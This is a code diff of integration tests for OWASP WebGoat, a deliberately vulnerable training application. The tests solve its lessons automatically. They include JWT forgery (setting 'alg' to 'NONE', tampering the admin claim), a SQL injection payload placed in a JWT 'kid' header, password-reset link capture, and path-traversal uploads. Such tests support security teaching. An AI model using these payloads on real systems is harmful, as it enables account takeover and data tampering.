.statusCode(200).extract().jsonPath().getList("solved"), CoreMatchers.everyItem(CoreMatchers.is(true))); result.then().statusCode(200).extract().jsonPath().getList("solved"),
CoreMatchers.everyItem(CoreMatchers.is(true)));
} }
public void checkAssignment(String url, ContentType contentType, String body, boolean expectedResult) { public void checkAssignment(
String url, ContentType contentType, String body, boolean expectedResult) {
MatcherAssert.assertThat( MatcherAssert.assertThat(
RestAssured.given() RestAssured.given()
.when() .when()
@ -189,7 +204,9 @@ public abstract class IntegrationTest {
.post(url) .post(url)
.then() .then()
.statusCode(200) .statusCode(200)
.extract().path("lessonCompleted"), CoreMatchers.is(expectedResult)); .extract()
.path("lessonCompleted"),
CoreMatchers.is(expectedResult));
} }
public void checkAssignmentWithGet(String url, Map<String, ?> params, boolean expectedResult) { public void checkAssignmentWithGet(String url, Map<String, ?> params, boolean expectedResult) {
@ -202,17 +219,23 @@ public abstract class IntegrationTest {
.get(url) .get(url)
.then() .then()
.statusCode(200) .statusCode(200)
.extract().path("lessonCompleted"), CoreMatchers.is(expectedResult)); .extract()
.path("lessonCompleted"),
CoreMatchers.is(expectedResult));
} }
public String getWebWolfFileServerLocation() { public String getWebWolfFileServerLocation() {
String result = RestAssured.given() String result =
RestAssured.given()
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("WEBWOLFSESSION", getWebWolfCookie()) .cookie("WEBWOLFSESSION", getWebWolfCookie())
.get(webWolfUrl("/file-server-location")) .get(webWolfUrl("/file-server-location"))
.then() .then()
.extract().response().getBody().asString(); .extract()
.response()
.getBody()
.asString();
result = result.replace("%20", " "); result = result.replace("%20", " ");
return result; return result;
} }
@ -224,8 +247,9 @@ public abstract class IntegrationTest {
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.get(url("/server-directory")) .get(url("/server-directory"))
.then() .then()
.extract().response().getBody().asString(); .extract()
.response()
.getBody()
.asString();
} }
} }

View File

@ -1,5 +1,16 @@
package org.owasp.webgoat; package org.owasp.webgoat;
import com.fasterxml.jackson.databind.JsonNode;
import com.fasterxml.jackson.databind.ObjectMapper;
import com.fasterxml.jackson.databind.node.ObjectNode;
import io.jsonwebtoken.Header;
import io.jsonwebtoken.JwsHeader;
import io.jsonwebtoken.Jwt;
import io.jsonwebtoken.JwtException;
import io.jsonwebtoken.Jwts;
import io.jsonwebtoken.SignatureAlgorithm;
import io.jsonwebtoken.impl.TextCodec;
import io.restassured.RestAssured;
import java.io.IOException; import java.io.IOException;
import java.nio.charset.Charset; import java.nio.charset.Charset;
import java.security.InvalidKeyException; import java.security.InvalidKeyException;
@ -10,23 +21,9 @@ import java.util.Calendar;
import java.util.Date; import java.util.Date;
import java.util.HashMap; import java.util.HashMap;
import java.util.Map; import java.util.Map;
import org.hamcrest.CoreMatchers; import org.hamcrest.CoreMatchers;
import org.hamcrest.MatcherAssert; import org.hamcrest.MatcherAssert;
import org.junit.jupiter.api.Test; import org.junit.jupiter.api.Test;
import com.fasterxml.jackson.databind.JsonNode;
import com.fasterxml.jackson.databind.ObjectMapper;
import com.fasterxml.jackson.databind.node.ObjectNode;
import io.jsonwebtoken.Header;
import io.jsonwebtoken.JwsHeader;
import io.jsonwebtoken.Jwt;
import io.jsonwebtoken.JwtException;
import io.jsonwebtoken.Jwts;
import io.jsonwebtoken.SignatureAlgorithm;
import io.jsonwebtoken.impl.TextCodec;
import io.restassured.RestAssured;
import org.owasp.webgoat.lessons.jwt.JWTSecretKeyEndpoint; import org.owasp.webgoat.lessons.jwt.JWTSecretKeyEndpoint;
public class JWTLessonIntegrationTest extends IntegrationTest { public class JWTLessonIntegrationTest extends IntegrationTest {
@ -61,7 +58,8 @@ public class JWTLessonIntegrationTest extends IntegrationTest {
.claim("username", "WebGoat") .claim("username", "WebGoat")
.claim("Email", "tom@webgoat.org") .claim("Email", "tom@webgoat.org")
.claim("Role", new String[] {"Manager", "Project Administrator"}) .claim("Role", new String[] {"Manager", "Project Administrator"})
.signWith(SignatureAlgorithm.HS256, key).compact(); .signWith(SignatureAlgorithm.HS256, key)
.compact();
} }
private String getSecretToken(String token) { private String getSecretToken(String token) {
@ -86,19 +84,23 @@ public class JWTLessonIntegrationTest extends IntegrationTest {
.post(url("/WebGoat/JWT/decode")) .post(url("/WebGoat/JWT/decode"))
.then() .then()
.statusCode(200) .statusCode(200)
.extract().path("lessonCompleted"), CoreMatchers.is(true)); .extract()
.path("lessonCompleted"),
CoreMatchers.is(true));
} }
private void findPassword() throws IOException, NoSuchAlgorithmException, InvalidKeyException { private void findPassword() throws IOException, NoSuchAlgorithmException, InvalidKeyException {
String accessToken = RestAssured.given() String accessToken =
RestAssured.given()
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.get(url("/WebGoat/JWT/secret/gettoken")) .get(url("/WebGoat/JWT/secret/gettoken"))
.then() .then()
.extract().response().asString(); .extract()
.response()
.asString();
String secret = getSecretToken(accessToken); String secret = getSecretToken(accessToken);
@ -111,18 +113,21 @@ public class JWTLessonIntegrationTest extends IntegrationTest {
.post(url("/WebGoat/JWT/secret")) .post(url("/WebGoat/JWT/secret"))
.then() .then()
.statusCode(200) .statusCode(200)
.extract().path("lessonCompleted"), CoreMatchers.is(true)); .extract()
.path("lessonCompleted"),
CoreMatchers.is(true));
} }
private void resetVotes() throws IOException { private void resetVotes() throws IOException {
String accessToken = RestAssured.given() String accessToken =
RestAssured.given()
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.get(url("/WebGoat/JWT/votings/login?user=Tom")) .get(url("/WebGoat/JWT/votings/login?user=Tom"))
.then() .then()
.extract().cookie("access_token"); .extract()
.cookie("access_token");
String header = accessToken.substring(0, accessToken.indexOf(".")); String header = accessToken.substring(0, accessToken.indexOf("."));
header = new String(Base64.getUrlDecoder().decode(header.getBytes(Charset.defaultCharset()))); header = new String(Base64.getUrlDecoder().decode(header.getBytes(Charset.defaultCharset())));
@ -137,10 +142,14 @@ public class JWTLessonIntegrationTest extends IntegrationTest {
JsonNode bodyObject = mapper.readTree(body); JsonNode bodyObject = mapper.readTree(body);
bodyObject = ((ObjectNode) bodyObject).put("admin", "true"); bodyObject = ((ObjectNode) bodyObject).put("admin", "true");
String replacedToken = new String(Base64.getUrlEncoder().encode(headerNode.toString().getBytes())) String replacedToken =
new String(Base64.getUrlEncoder().encode(headerNode.toString().getBytes()))
.concat(".") .concat(".")
.concat(new String(Base64.getUrlEncoder().encode(bodyObject.toString().getBytes())).toString()) .concat(
.concat(".").replace("=", ""); new String(Base64.getUrlEncoder().encode(bodyObject.toString().getBytes()))
.toString())
.concat(".")
.replace("=", "");
MatcherAssert.assertThat( MatcherAssert.assertThat(
RestAssured.given() RestAssured.given()
@ -151,14 +160,24 @@ public class JWTLessonIntegrationTest extends IntegrationTest {
.post(url("/WebGoat/JWT/votings")) .post(url("/WebGoat/JWT/votings"))
.then() .then()
.statusCode(200) .statusCode(200)
.extract().path("lessonCompleted"), CoreMatchers.is(true)); .extract()
.path("lessonCompleted"),
CoreMatchers.is(true));
} }
private void buyAsTom() throws IOException { private void buyAsTom() throws IOException {
String header = new String(Base64.getUrlDecoder().decode("eyJhbGciOiJIUzUxMiJ9".getBytes(Charset.defaultCharset()))); String header =
new String(
Base64.getUrlDecoder()
.decode("eyJhbGciOiJIUzUxMiJ9".getBytes(Charset.defaultCharset())));
String body = new String(Base64.getUrlDecoder().decode("eyJhZG1pbiI6ImZhbHNlIiwidXNlciI6IkplcnJ5In0".getBytes(Charset.defaultCharset()))); String body =
new String(
Base64.getUrlDecoder()
.decode(
"eyJhZG1pbiI6ImZhbHNlIiwidXNlciI6IkplcnJ5In0"
.getBytes(Charset.defaultCharset())));
body = body.replace("Jerry", "Tom"); body = body.replace("Jerry", "Tom");
@ -166,25 +185,36 @@ public class JWTLessonIntegrationTest extends IntegrationTest {
JsonNode headerNode = mapper.readTree(header); JsonNode headerNode = mapper.readTree(header);
headerNode = ((ObjectNode) headerNode).put("alg", "NONE"); headerNode = ((ObjectNode) headerNode).put("alg", "NONE");
String replacedToken = new String(Base64.getUrlEncoder().encode(headerNode.toString().getBytes())).concat(".") String replacedToken =
new String(Base64.getUrlEncoder().encode(headerNode.toString().getBytes()))
.concat(".")
.concat(new String(Base64.getUrlEncoder().encode(body.getBytes())).toString()) .concat(new String(Base64.getUrlEncoder().encode(body.getBytes())).toString())
.concat(".").replace("=", ""); .concat(".")
.replace("=", "");
MatcherAssert.assertThat(RestAssured.given() MatcherAssert.assertThat(
.when().relaxedHTTPSValidation() RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.header("Authorization", "Bearer " + replacedToken) .header("Authorization", "Bearer " + replacedToken)
.post(url("/WebGoat/JWT/refresh/checkout")) .post(url("/WebGoat/JWT/refresh/checkout"))
.then().statusCode(200) .then()
.extract().path("lessonCompleted"), CoreMatchers.is(true)); .statusCode(200)
.extract()
.path("lessonCompleted"),
CoreMatchers.is(true));
} }
private void deleteTom() { private void deleteTom() {
Map<String, Object> header = new HashMap(); Map<String, Object> header = new HashMap();
header.put(Header.TYPE, Header.JWT_TYPE); header.put(Header.TYPE, Header.JWT_TYPE);
header.put(JwsHeader.KEY_ID, "hacked' UNION select 'deletingTom' from INFORMATION_SCHEMA.SYSTEM_USERS --"); header.put(
String token = Jwts.builder() JwsHeader.KEY_ID,
"hacked' UNION select 'deletingTom' from INFORMATION_SCHEMA.SYSTEM_USERS --");
String token =
Jwts.builder()
.setHeader(header) .setHeader(header)
.setIssuer("WebGoat Token Builder") .setIssuer("WebGoat Token Builder")
.setAudience("webgoat.org") .setAudience("webgoat.org")
@ -194,15 +224,20 @@ public class JWTLessonIntegrationTest extends IntegrationTest {
.claim("username", "Tom") .claim("username", "Tom")
.claim("Email", "tom@webgoat.org") .claim("Email", "tom@webgoat.org")
.claim("Role", new String[] {"Manager", "Project Administrator"}) .claim("Role", new String[] {"Manager", "Project Administrator"})
.signWith(SignatureAlgorithm.HS256, "deletingTom").compact(); .signWith(SignatureAlgorithm.HS256, "deletingTom")
.compact();
MatcherAssert.assertThat(RestAssured.given() MatcherAssert.assertThat(
.when().relaxedHTTPSValidation() RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.post(url("/WebGoat/JWT/final/delete?token=" + token)) .post(url("/WebGoat/JWT/final/delete?token=" + token))
.then() .then()
.statusCode(200) .statusCode(200)
.extract().path("lessonCompleted"), CoreMatchers.is(true)); .extract()
.path("lessonCompleted"),
CoreMatchers.is(true));
} }
private void quiz() { private void quiz() {
@ -212,5 +247,4 @@ public class JWTLessonIntegrationTest extends IntegrationTest {
checkAssignment(url("/WebGoat/JWT/quiz"), params, true); checkAssignment(url("/WebGoat/JWT/quiz"), params, true);
} }
} }

View File

@ -3,92 +3,139 @@ package org.owasp.webgoat;
import io.restassured.RestAssured; import io.restassured.RestAssured;
import io.restassured.http.ContentType; import io.restassured.http.ContentType;
import io.restassured.path.json.JsonPath; import io.restassured.path.json.JsonPath;
import org.junit.jupiter.api.Assertions;
import org.junit.jupiter.api.Test;
import java.io.FileInputStream; import java.io.FileInputStream;
import java.io.InputStream; import java.io.InputStream;
import java.util.List; import java.util.List;
import java.util.Properties; import java.util.Properties;
import org.junit.jupiter.api.Assertions;
import org.junit.jupiter.api.Test;
public class LabelAndHintIntegrationTest extends IntegrationTest { public class LabelAndHintIntegrationTest extends IntegrationTest {
final static String ESCAPE_JSON_PATH_CHAR = "\'"; static final String ESCAPE_JSON_PATH_CHAR = "\'";
@Test @Test
public void testSingleLabel() { public void testSingleLabel() {
Assertions.assertTrue(true); Assertions.assertTrue(true);
JsonPath jsonPath = RestAssured.given() JsonPath jsonPath =
RestAssured.given()
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.contentType(ContentType.JSON) .contentType(ContentType.JSON)
.header("Accept-Language", "en") .header("Accept-Language", "en")
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.get(url("service/labels.mvc")).then().statusCode(200).extract().jsonPath(); .get(url("service/labels.mvc"))
.then()
.statusCode(200)
.extract()
.jsonPath();
Assertions.assertEquals("Try again: but this time enter a value before hitting go.", jsonPath.getString(ESCAPE_JSON_PATH_CHAR+"http-basics.close"+ESCAPE_JSON_PATH_CHAR)); Assertions.assertEquals(
"Try again: but this time enter a value before hitting go.",
jsonPath.getString(ESCAPE_JSON_PATH_CHAR + "http-basics.close" + ESCAPE_JSON_PATH_CHAR));
// check if lang parameter overrules Accept-Language parameter // check if lang parameter overrules Accept-Language parameter
jsonPath = RestAssured.given() jsonPath =
RestAssured.given()
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.contentType(ContentType.JSON) .contentType(ContentType.JSON)
.header("Accept-Language", "en") .header("Accept-Language", "en")
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.get(url("service/labels.mvc?lang=nl")).then().statusCode(200).extract().jsonPath(); .get(url("service/labels.mvc?lang=nl"))
Assertions.assertEquals("Gebruikersnaam", jsonPath.getString(ESCAPE_JSON_PATH_CHAR+"username"+ESCAPE_JSON_PATH_CHAR)); .then()
.statusCode(200)
.extract()
.jsonPath();
Assertions.assertEquals(
"Gebruikersnaam",
jsonPath.getString(ESCAPE_JSON_PATH_CHAR + "username" + ESCAPE_JSON_PATH_CHAR));
jsonPath = RestAssured.given() jsonPath =
RestAssured.given()
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.contentType(ContentType.JSON) .contentType(ContentType.JSON)
.header("Accept-Language", "en") .header("Accept-Language", "en")
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.get(url("service/labels.mvc?lang=de")).then().statusCode(200).extract().jsonPath(); .get(url("service/labels.mvc?lang=de"))
Assertions.assertEquals("Benutzername", jsonPath.getString(ESCAPE_JSON_PATH_CHAR+"username"+ESCAPE_JSON_PATH_CHAR)); .then()
.statusCode(200)
.extract()
.jsonPath();
Assertions.assertEquals(
"Benutzername",
jsonPath.getString(ESCAPE_JSON_PATH_CHAR + "username" + ESCAPE_JSON_PATH_CHAR));
// check if invalid language returns english // check if invalid language returns english
jsonPath = RestAssured.given() jsonPath =
RestAssured.given()
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.contentType(ContentType.JSON) .contentType(ContentType.JSON)
.header("Accept-Language", "nl") .header("Accept-Language", "nl")
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.get(url("service/labels.mvc?lang=xx")).then().statusCode(200).extract().jsonPath(); .get(url("service/labels.mvc?lang=xx"))
Assertions.assertEquals("Username", jsonPath.getString(ESCAPE_JSON_PATH_CHAR+"username"+ESCAPE_JSON_PATH_CHAR)); .then()
.statusCode(200)
.extract()
.jsonPath();
Assertions.assertEquals(
"Username", jsonPath.getString(ESCAPE_JSON_PATH_CHAR + "username" + ESCAPE_JSON_PATH_CHAR));
// check if invalid language returns english // check if invalid language returns english
jsonPath = RestAssured.given() jsonPath =
RestAssured.given()
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.contentType(ContentType.JSON) .contentType(ContentType.JSON)
.header("Accept-Language", "xx_YY") .header("Accept-Language", "xx_YY")
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.get(url("service/labels.mvc")).then().statusCode(200).extract().jsonPath(); .get(url("service/labels.mvc"))
Assertions.assertEquals("Username", jsonPath.getString(ESCAPE_JSON_PATH_CHAR+"username"+ESCAPE_JSON_PATH_CHAR)); .then()
.statusCode(200)
.extract()
.jsonPath();
Assertions.assertEquals(
"Username", jsonPath.getString(ESCAPE_JSON_PATH_CHAR + "username" + ESCAPE_JSON_PATH_CHAR));
} }
@Test @Test
public void testHints() { public void testHints() {
JsonPath jsonPathLabels = getLabels("en"); JsonPath jsonPathLabels = getLabels("en");
List<String> allLessons = List.of( List<String> allLessons =
List.of(
"HttpBasics", "HttpBasics",
"HttpProxies", "CIA", "InsecureLogin", "Cryptography", "PathTraversal", "HttpProxies",
"XXE", "JWT", "IDOR", "SSRF", "WebWolfIntroduction", "CrossSiteScripting", "CSRF", "HijackSession", "CIA",
"SqlInjection", "SqlInjectionMitigations" ,"SqlInjectionAdvanced", "InsecureLogin",
"Cryptography",
"PathTraversal",
"XXE",
"JWT",
"IDOR",
"SSRF",
"WebWolfIntroduction",
"CrossSiteScripting",
"CSRF",
"HijackSession",
"SqlInjection",
"SqlInjectionMitigations",
"SqlInjectionAdvanced",
"Challenge1"); "Challenge1");
for (String lesson : allLessons) { for (String lesson : allLessons) {
startLesson(lesson); startLesson(lesson);
List<String> hintKeys = getHints(); List<String> hintKeys = getHints();
for (String key : hintKeys) { for (String key : hintKeys) {
String keyValue = jsonPathLabels.getString(ESCAPE_JSON_PATH_CHAR + key + ESCAPE_JSON_PATH_CHAR); String keyValue =
jsonPathLabels.getString(ESCAPE_JSON_PATH_CHAR + key + ESCAPE_JSON_PATH_CHAR);
// System.out.println("key: " + key + " ,value: " + keyValue); // System.out.println("key: " + key + " ,value: " + keyValue);
Assertions.assertNotNull(keyValue); Assertions.assertNotNull(keyValue);
Assertions.assertNotEquals(key, keyValue); Assertions.assertNotEquals(key, keyValue);
} }
} }
//Assertions.assertEquals("http-basics.hints.http_basics_lesson.1", ""+jsonPath.getList("hint").get(0)); // Assertions.assertEquals("http-basics.hints.http_basics_lesson.1",
// ""+jsonPath.getList("hint").get(0));
} }
@Test @Test
@ -97,20 +144,25 @@ public class LabelAndHintIntegrationTest extends IntegrationTest {
JsonPath jsonPathLabels = getLabels("en"); JsonPath jsonPathLabels = getLabels("en");
Properties propsDefault = getProperties(""); Properties propsDefault = getProperties("");
for (String key : propsDefault.stringPropertyNames()) { for (String key : propsDefault.stringPropertyNames()) {
String keyValue = jsonPathLabels.getString(ESCAPE_JSON_PATH_CHAR+key+ESCAPE_JSON_PATH_CHAR); String keyValue =
jsonPathLabels.getString(ESCAPE_JSON_PATH_CHAR + key + ESCAPE_JSON_PATH_CHAR);
Assertions.assertNotNull(keyValue); Assertions.assertNotNull(keyValue);
} }
checkLang(propsDefault, "nl"); checkLang(propsDefault, "nl");
checkLang(propsDefault, "de"); checkLang(propsDefault, "de");
checkLang(propsDefault, "fr"); checkLang(propsDefault, "fr");
checkLang(propsDefault, "ru"); checkLang(propsDefault, "ru");
} }
private Properties getProperties(String lang) { private Properties getProperties(String lang) {
Properties prop = null; Properties prop = null;
if (lang == null || lang.equals("")) { lang = ""; } else { lang = "_"+lang; } if (lang == null || lang.equals("")) {
try (InputStream input = new FileInputStream("src/main/resources/i18n/messages"+lang+".properties")) { lang = "";
} else {
lang = "_" + lang;
}
try (InputStream input =
new FileInputStream("src/main/resources/i18n/messages" + lang + ".properties")) {
prop = new Properties(); prop = new Properties();
// load a properties file // load a properties file
@ -130,9 +182,13 @@ public class LabelAndHintIntegrationTest extends IntegrationTest {
System.err.println("key: " + key + " in (" + lang + ") is missing from default properties"); System.err.println("key: " + key + " in (" + lang + ") is missing from default properties");
Assertions.fail(); Assertions.fail();
} }
if (!jsonPath.getString(ESCAPE_JSON_PATH_CHAR+key+ESCAPE_JSON_PATH_CHAR).equals(propsLang.get(key))) { if (!jsonPath
System.out.println("key: " + key + " in (" +lang+") has incorrect translation in label service"); .getString(ESCAPE_JSON_PATH_CHAR + key + ESCAPE_JSON_PATH_CHAR)
System.out.println("actual:"+jsonPath.getString(ESCAPE_JSON_PATH_CHAR+key+ESCAPE_JSON_PATH_CHAR)); .equals(propsLang.get(key))) {
System.out.println(
"key: " + key + " in (" + lang + ") has incorrect translation in label service");
System.out.println(
"actual:" + jsonPath.getString(ESCAPE_JSON_PATH_CHAR + key + ESCAPE_JSON_PATH_CHAR));
System.out.println("expected: " + propsLang.getProperty(key)); System.out.println("expected: " + propsLang.getProperty(key));
System.out.println(); System.out.println();
Assertions.fail(); Assertions.fail();
@ -151,11 +207,14 @@ public class LabelAndHintIntegrationTest extends IntegrationTest {
.get(url("service/labels.mvc")) .get(url("service/labels.mvc"))
.then() .then()
// .log().all() // .log().all()
.statusCode(200).extract().jsonPath(); .statusCode(200)
.extract()
.jsonPath();
} }
private List<String> getHints() { private List<String> getHints() {
JsonPath jsonPath = RestAssured.given() JsonPath jsonPath =
RestAssured.given()
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.contentType(ContentType.JSON) .contentType(ContentType.JSON)
@ -163,8 +222,9 @@ public class LabelAndHintIntegrationTest extends IntegrationTest {
.get(url("service/hint.mvc")) .get(url("service/hint.mvc"))
.then() .then()
// .log().all() // .log().all()
.statusCode(200).extract().jsonPath(); .statusCode(200)
.extract()
.jsonPath();
return jsonPath.getList("hint"); return jsonPath.getList("hint");
} }
} }

View File

@ -1,8 +1,11 @@
package org.owasp.webgoat; package org.owasp.webgoat;
import io.restassured.RestAssured; import static org.junit.jupiter.api.DynamicTest.dynamicTest;
import lombok.SneakyThrows;
import io.restassured.RestAssured;
import java.util.Arrays;
import java.util.Map;
import lombok.SneakyThrows;
import org.apache.commons.lang3.StringUtils; import org.apache.commons.lang3.StringUtils;
import org.assertj.core.api.Assertions; import org.assertj.core.api.Assertions;
import org.junit.jupiter.api.AfterEach; import org.junit.jupiter.api.AfterEach;
@ -10,11 +13,6 @@ import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.DynamicTest; import org.junit.jupiter.api.DynamicTest;
import org.junit.jupiter.api.TestFactory; import org.junit.jupiter.api.TestFactory;
import static org.junit.jupiter.api.DynamicTest.dynamicTest;
import java.util.Arrays;
import java.util.Map;
public class PasswordResetLessonIntegrationTest extends IntegrationTest { public class PasswordResetLessonIntegrationTest extends IntegrationTest {
@BeforeEach @BeforeEach
@ -30,24 +28,42 @@ public class PasswordResetLessonIntegrationTest extends IntegrationTest {
dynamicTest("assignment 6 - solve assignment", () -> solveAssignment()), dynamicTest("assignment 6 - solve assignment", () -> solveAssignment()),
dynamicTest("assignment 2 - simple reset", () -> assignment2()), dynamicTest("assignment 2 - simple reset", () -> assignment2()),
dynamicTest("assignment 4 - guess questions", () -> assignment4()), dynamicTest("assignment 4 - guess questions", () -> assignment4()),
dynamicTest("assignment 5 - simple questions",()-> assignment5()) dynamicTest("assignment 5 - simple questions", () -> assignment5()));
);
} }
public void assignment2() { public void assignment2() {
checkAssignment(url("PasswordReset/simple-mail/reset"), Map.of("emailReset", this.getUser()+"@webgoat.org"), false); checkAssignment(
checkAssignment(url("PasswordReset/simple-mail"), Map.of("email", this.getUser()+"@webgoat.org", "password", StringUtils.reverse(this.getUser())), true); url("PasswordReset/simple-mail/reset"),
Map.of("emailReset", this.getUser() + "@webgoat.org"),
false);
checkAssignment(
url("PasswordReset/simple-mail"),
Map.of(
"email",
this.getUser() + "@webgoat.org",
"password",
StringUtils.reverse(this.getUser())),
true);
} }
public void assignment4() { public void assignment4() {
checkAssignment(url("PasswordReset/questions"), Map.of("username", "tom", "securityQuestion", "purple"), true); checkAssignment(
url("PasswordReset/questions"),
Map.of("username", "tom", "securityQuestion", "purple"),
true);
} }
public void assignment5() { public void assignment5() {
checkAssignment(url("PasswordReset/SecurityQuestions"), Map.of("question", "What is your favorite animal?"), false); checkAssignment(
checkAssignment(url("PasswordReset/SecurityQuestions"), Map.of("question", "What is your favorite color?"), true); url("PasswordReset/SecurityQuestions"),
Map.of("question", "What is your favorite animal?"),
false);
checkAssignment(
url("PasswordReset/SecurityQuestions"),
Map.of("question", "What is your favorite color?"),
true);
} }
public void solveAssignment() { public void solveAssignment() {
// WebGoat // WebGoat
clickForgotEmailLink("tom@webgoat-cloud.org"); clickForgotEmailLink("tom@webgoat-cloud.org");
@ -57,26 +73,34 @@ public class PasswordResetLessonIntegrationTest extends IntegrationTest {
// WebGoat // WebGoat
changePassword(link); changePassword(link);
checkAssignment(url("PasswordReset/reset/login"), Map.of("email", "tom@webgoat-cloud.org", "password", "123456"), true); checkAssignment(
url("PasswordReset/reset/login"),
Map.of("email", "tom@webgoat-cloud.org", "password", "123456"),
true);
} }
public void sendEmailShouldBeAvailableInWebWolf() { public void sendEmailShouldBeAvailableInWebWolf() {
clickForgotEmailLink(this.getUser() + "@webgoat.org"); clickForgotEmailLink(this.getUser() + "@webgoat.org");
var responseBody = RestAssured.given() var responseBody =
RestAssured.given()
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("WEBWOLFSESSION", getWebWolfCookie()) .cookie("WEBWOLFSESSION", getWebWolfCookie())
.get(webWolfUrl("/WebWolf/mail")) .get(webWolfUrl("/WebWolf/mail"))
.then() .then()
.extract().response().getBody().asString(); .extract()
.response()
.getBody()
.asString();
Assertions.assertThat(responseBody).contains("Hi, you requested a password reset link"); Assertions.assertThat(responseBody).contains("Hi, you requested a password reset link");
} }
@AfterEach @AfterEach
public void shutdown() { public void shutdown() {
//this will run only once after the list of dynamic tests has run, this is to test if the lesson is marked complete // this will run only once after the list of dynamic tests has run, this is to test if the
// lesson is marked complete
checkResults("/PasswordReset"); checkResults("/PasswordReset");
} }
@ -92,15 +116,22 @@ public class PasswordResetLessonIntegrationTest extends IntegrationTest {
} }
private String getPasswordResetLinkFromLandingPage() { private String getPasswordResetLinkFromLandingPage() {
var responseBody = RestAssured.given() var responseBody =
RestAssured.given()
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("WEBWOLFSESSION", getWebWolfCookie()) .cookie("WEBWOLFSESSION", getWebWolfCookie())
.get(webWolfUrl("/WebWolf/requests")) .get(webWolfUrl("/WebWolf/requests"))
.then() .then()
.extract().response().getBody().asString(); .extract()
.response()
.getBody()
.asString();
int startIndex = responseBody.lastIndexOf("/PasswordReset/reset/reset-password/"); int startIndex = responseBody.lastIndexOf("/PasswordReset/reset/reset-password/");
var link = responseBody.substring(startIndex + "/PasswordReset/reset/reset-password/".length(), responseBody.indexOf(",", startIndex) - 1); var link =
responseBody.substring(
startIndex + "/PasswordReset/reset/reset-password/".length(),
responseBody.indexOf(",", startIndex) - 1);
return link; return link;
} }

View File

@ -1,16 +1,8 @@
package org.owasp.webgoat; package org.owasp.webgoat;
import io.restassured.RestAssured; import static org.junit.jupiter.api.DynamicTest.dynamicTest;
import lombok.SneakyThrows;
import org.hamcrest.CoreMatchers;
import org.hamcrest.MatcherAssert;
import org.junit.jupiter.api.AfterEach;
import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.DynamicTest;
import org.junit.jupiter.api.TestFactory;
import org.junit.jupiter.api.io.TempDir;
import org.springframework.security.core.token.Sha512DigestUtils;
import io.restassured.RestAssured;
import java.io.File; import java.io.File;
import java.io.FileOutputStream; import java.io.FileOutputStream;
import java.io.IOException; import java.io.IOException;
@ -21,13 +13,19 @@ import java.util.Arrays;
import java.util.Map; import java.util.Map;
import java.util.zip.ZipEntry; import java.util.zip.ZipEntry;
import java.util.zip.ZipOutputStream; import java.util.zip.ZipOutputStream;
import lombok.SneakyThrows;
import static org.junit.jupiter.api.DynamicTest.dynamicTest; import org.hamcrest.CoreMatchers;
import org.hamcrest.MatcherAssert;
import org.junit.jupiter.api.AfterEach;
import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.DynamicTest;
import org.junit.jupiter.api.TestFactory;
import org.junit.jupiter.api.io.TempDir;
import org.springframework.security.core.token.Sha512DigestUtils;
class PathTraversalIT extends IntegrationTest { class PathTraversalIT extends IntegrationTest {
@TempDir @TempDir Path tempDir;
Path tempDir;
private File fileToUpload = null; private File fileToUpload = null;
@ -46,8 +44,7 @@ class PathTraversalIT extends IntegrationTest {
dynamicTest("assignment 2 - profile upload fix", () -> assignment2()), dynamicTest("assignment 2 - profile upload fix", () -> assignment2()),
dynamicTest("assignment 3 - profile upload remove user input", () -> assignment3()), dynamicTest("assignment 3 - profile upload remove user input", () -> assignment3()),
dynamicTest("assignment 4 - profile upload random pic", () -> assignment4()), dynamicTest("assignment 4 - profile upload random pic", () -> assignment4()),
dynamicTest("assignment 5 - zip slip", () -> assignment5()) dynamicTest("assignment 5 - zip slip", () -> assignment5()));
);
} }
private void assignment1() throws IOException { private void assignment1() throws IOException {
@ -61,7 +58,9 @@ class PathTraversalIT extends IntegrationTest {
.post(url("/WebGoat/PathTraversal/profile-upload")) .post(url("/WebGoat/PathTraversal/profile-upload"))
.then() .then()
.statusCode(200) .statusCode(200)
.extract().path("lessonCompleted"), CoreMatchers.is(true)); .extract()
.path("lessonCompleted"),
CoreMatchers.is(true));
} }
private void assignment2() throws IOException { private void assignment2() throws IOException {
@ -75,7 +74,9 @@ class PathTraversalIT extends IntegrationTest {
.post(url("/WebGoat/PathTraversal/profile-upload-fix")) .post(url("/WebGoat/PathTraversal/profile-upload-fix"))
.then() .then()
.statusCode(200) .statusCode(200)
.extract().path("lessonCompleted"), CoreMatchers.is(true)); .extract()
.path("lessonCompleted"),
CoreMatchers.is(true));
} }
private void assignment3() throws IOException { private void assignment3() throws IOException {
@ -84,16 +85,22 @@ class PathTraversalIT extends IntegrationTest {
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
